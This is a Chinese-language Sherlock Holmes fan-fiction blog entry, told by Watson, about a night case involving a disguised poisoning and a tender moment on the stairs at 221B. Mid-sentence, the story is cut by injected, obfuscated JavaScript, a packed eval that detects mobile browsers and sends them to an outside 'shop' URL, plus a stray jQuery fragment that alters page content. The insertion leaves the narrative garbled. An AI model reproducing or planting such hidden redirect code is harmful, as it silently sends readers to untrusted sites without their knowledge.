博客短文
2012年11月15日星期四
标题：今晚的事
作者：约翰·H·华生
今晚发生了一些事。我需要把它写下来，不是作为案件记录，而是——好吧，我也不知道为什么。也许只是因为我睡不着，而他又一次占用了我的笔记本电脑去查什么关于火药残留物的资料。
事情是这样的。
我们在追一个案子。雷斯垂德打电话来的时候是晚上十一点，贝克街221B的暖气片又在发出那种令人烦躁的咔哒声，夏洛克正躺在沙发上，盯着天花板，手指无意识地敲着沙发扶手。我知道他无聊得要命——他已经三天没有案子了，这意味着我听了三天的小提琴即兴演奏，看了三次他把实验用的烧杯放进冰箱，以及无数次他穿着那件蓝色睡衣在客厅里晃来晃去。
雷斯垂德说有个案子。在巴特西。一个女人死了，现场看起来很干净，但他有不好的预感。
“不好的预感。”夏洛克从沙发上弹起来，开始找他的外套。“雷斯垂德总有不好的预感。他的预感就像他的婚姻一样——来得快去得也快。”
我关上笔记本电脑。“要我一起去吗？”
“当然。”他已经在门口了，围巾在脖子上绕了两圈，“你是我的博客作者，也是我的——”
他没说完。他没说完的话很多，我已经习惯了。
现场确实很干净。一个女人躺在卧室地板上，四十岁左右，穿着睡衣，看起来像是心脏病发作。没有挣扎痕迹，没有强制闯入，没有任何可疑之处。但雷斯垂德是对的——有件事不对劲。
“她昨天刚改过遗嘱。”雷斯垂德说，把手机递给我们看。“全部留给她弟弟。她弟弟三天前来过伦敦，今天早上又飞回了曼彻斯特。”
夏洛克蹲下来，用放大镜检查女人的手。手指干净，指甲修剪整齐。他闻了闻她的手掌，又翻开她的眼皮。
“不是心脏病。”他说。语气平淡，像是在说今天下雨了。“是某种生物碱。微量，提取自某种热带植物。会在体内代谢成类似心脏病发作的形态，四到六小时后完全消失。现在验血什么都验不出来。”
雷斯垂德叹了口气。“夏洛克，你不能每次都——”
“打电话给曼彻斯特警方。弟弟有植物学背景，三年前在哥斯达黎加待过六个月。他昨晚给她打过电话，时间是十点四十七分。她会自己倒一杯睡前茶，把安眠药放进去——她失眠，床头柜上有处方——他会让她把弟弟带过来的‘茶叶’放一点进去，说是助眠。她会照做。她总是照做。”
雷斯垂德在记笔记。我在旁边站着，看夏洛克站起来，拍了拍膝盖上并不存在的灰。
“动机？”我问。
“钱。还有，我猜，他恨她。”夏洛克往外走。“走吧，约翰。这里没什么好看的了。”
回去的路上，贝克街的出租车里很安静。伦敦的夜晚总是雾蒙蒙的，路灯把街道切成一段一段的橘黄色。夏洛克坐在我对面，不是旁边——他很少坐旁边，因为他需要空间来想事情。但今天他坐在旁边。不对，等等，他今天确实是坐在旁边。我刚才怎么没注意到。
他坐在我旁边，手肘撑着车窗，下巴埋进围巾里，眼睛半闭着。不知道是在想案子还是纯粹在发呆。
出租车拐进贝克街的时候，他突然开口。
“你今晚没问‘你怎么知道’。”
“什么？”
“平时你会问。‘你怎么知道她有失眠’，‘你怎么知道弟弟在哥斯达黎加待过’。你今天晚上一次都没问。”
我愣了一下。“哦。可能是习惯了。”
他没说话。出租车停了，他先下车，头也不回地往门里走。我跟在后面，掏钥匙的时候发现门已经开着了——哈德森太太总是给我们留着门。
上楼的时候，他走在前面。我走在后面。楼梯的灯还是那盏，昏黄昏黄的，把影子拉得很长。他走到一半停下来，侧身让我先过。这很不寻常。他从来不让人。
“约翰。”他说。
我停在他下面一级台阶上，仰着头看他。楼梯间很窄，我们离得很近，近到能看见他眼睛里倒映的灯光。
“怎么了？”
他看着我。那种看，不是观察，是真的在看。看了大概三四秒，这在夏洛克的时间观念里相当于一个世纪。
然后他说：“你是个好人。”
说完他就上楼了，步子很快，三两步进了客厅，然后我听见他打开冰箱的声音，大概是去找那些实验用的眼球。
我站在原地，在楼梯中间，手里还攥着钥匙。
哈德森太太从一楼探出头来。“华生医生？没事吧？”
“没事。”我说。“没什么。”
我上楼的时候，他已经窝在沙发里了，手里拿着一只眼球，对着灯光仔细端详。看见我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301103|198632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进来，他把眼球放下，又拿起小提琴，开始拉一段我从来没听过的调子。
不是什么复杂的曲子。很简单的旋律，反反复复的，像是随便拉的。但他拉得很轻，比平时轻很多，不至于让哈德森太太敲暖气片抗议。
我坐下来，打开电脑。想写今天的案子，但手指放在键盘上，不知道从哪里开始。
暖气片还在咔哒响。外面有辆车经过。夏洛克的小提琴声断断续续，像是睡着了的人在断断续续地说梦话。
我突然想起来，他刚才说的那句话，大概是他这辈子说过的，最接近“谢谢”或者“我很高兴你在这里”或者“你是我的朋友”之类的话了。
当然，他不会承认的。我也不会问他。
有些事情，你不问，就不会被拆解成数据点。
有些事情，就让它留在楼梯间的那一级台阶上吧。
——约翰·华生，凌晨两点十七分
---
夏洛克·福尔摩斯坐在沙发上，小提琴放在膝盖上。他的目光越过琴身，落在对面那个正在敲键盘的男人身上。
华生打字的时候，嘴唇会微微动，像是在默念自己写的话。他写一会儿，停一会儿，偶尔抬头看天花板，偶尔低头看手指。
夏洛克把琴弓轻轻放回琴盒。
他想说点什么。但说什么呢？他已经说了那句了。那句话花了他三个案件的思考时间才组织出来，说出来之后，他发现自己的数据库里没有合适的后续。
所以他只是坐在那里，听着键盘的声音。
三分钟后，华生抬头看他。
“你饿吗？”
夏洛克想了想。“不饿。”
“我去泡杯茶。”
“好。”
华生站起来，往厨房走。经过沙发的时候，他停了一下，把手放在夏洛克肩膀上，拍了拍。只有一秒，或者两秒。
然后他继续往前走。
夏洛克低头看自己的肩膀。那里的布料上，似乎还留着一点温度。
他把这个数据点存进了大脑里一个不会被归档的地方。
厨房里传来水壶烧水的声音。哈德森太太的暖气片终于安静了。伦敦的夜晚还在窗外，雾蒙蒙的，把整条街都裹进一层柔软的光晕里。
221B的客厅里，有两个人，一个在泡茶，一个在发呆，中间隔着一整个世界的沉默。
这沉默刚刚好。